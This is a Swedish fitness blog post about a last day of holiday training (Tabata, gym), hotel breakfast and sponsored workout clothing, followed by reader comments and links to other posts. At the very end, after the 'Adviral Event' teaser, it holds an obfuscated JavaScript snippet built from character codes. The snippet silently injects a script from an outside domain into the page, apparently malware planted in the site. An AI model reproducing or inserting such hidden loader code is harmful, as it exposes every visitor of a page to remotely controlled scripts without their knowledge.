Lets catch the day! ;)

10247242_723771030994727_2493442615806376917_n

Godmorgon! Sista dagen! Nu ska det stekas från alla håll 😉 Man vill verkligen få ut så mycket som möjligt utav just denna dag. På söndag så börjar vardagen, stressen, alla måsten igen. Så lets catch the day 😉

Klockan ringde, som vanligt. Det är bara kliva ur sängen oavsett om man vill eller inte :-p Idag körde vi ingen utomhuslöpning utan bara gym och Tabata som Michela har introducerat mig för =) Det är en typ utav intervall träning, man springer riktigt snabbt i 20sek, för att  sedan vila i 10sek. Låter det enkelt? Prova! Det känns i hela kroppen 😉

IMG_1106

Lite gym övingar av olika slag innan vi gick tillbaka för att gå och äta frukost.

IMG_1120

IMG_1111

Nästan alla min träningskläder kommer ifrån MM Sports, klicka här för att kika in på dessa. Det är viktigt att man trivs i det man har på sig, då blir träningen ännu roligare. Jag brukar ge mig själv nya träningskläder som en bonus när jag fått bra resultat på kaliper mätningen eller om jag känner mig duktig =) En bra morot som funkar för mig. Jag tror att mycket handlar om att hitta sin egna morot som hjälper en att hålla motivationen uppe. Kämpa 😉

1800311_723773030994527_8939443591839712055_n

En mysig frukost… Alltså hotell frukost är väl alltid lika gott, man sitter länge, njuter och umgås… Det gäller bara att man håller sig till att äta ”lagom” Vilket kan vara en utmaning i sig 😉 Det där ordet lagom är ett väldigt svenskt uttryck. Finns det ens någon engelsk översättning på detta????

10155481_723772770994553_1566498713345889217_n

Idag har jag på mig mina nya shorts ifrån märket MISS ME, ni hittar dom HÄR. Snygg cool färg nu till sommaren, som ni vet så är jag ju lite svag för bling bling 😉

10251904_723772757661221_5566403793884262253_n

Dagens position intagen, uppdrag att jobba på brännan nu under sista dagen är just påbörjat…. Så nu åker datorn in i skuggan och jag lägger mig och gör ingenting =)

1480631_10152108353298660_4038979174865471644_n

Här ser ni tre glada tjejer som har det galet bra =) Bild lånad utav Michela, glöm inte att kika in på hennes blogg! Det kan du göra HÄR

Kramar My Martens <3

 

2 Komentarer

  1. Efter att ha sett dina snygga träningskläder var jag bara tvungen att gå in på MMsports sida och kolla lite..blir sjukt sugen på något nytt, och det är jag väl värd efter alla mina
    power-walk`s..hi,hi..;) ( Hittils den här veckan har jag sammanlagt gått nästa 4 mil!)
    Kämpa på My, jag tycker du är grymt duktig och inspirerande! ?
    Kram

  2. Efter att ha sett dina snygga träningskläder var jag bara tvungen att gå in på MMsports sida och kolla lite..blir sjukt sugen på något nytt, och det är jag väl värd efter alla mina
    power-walk`s..hi,hi..;) ( Hittils den här veckan har jag sammanlagt gått nästa 4 mil!)

    Kämpa på My, jag tycker du är grymt duktig och inspirerande! 🙂

    Kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/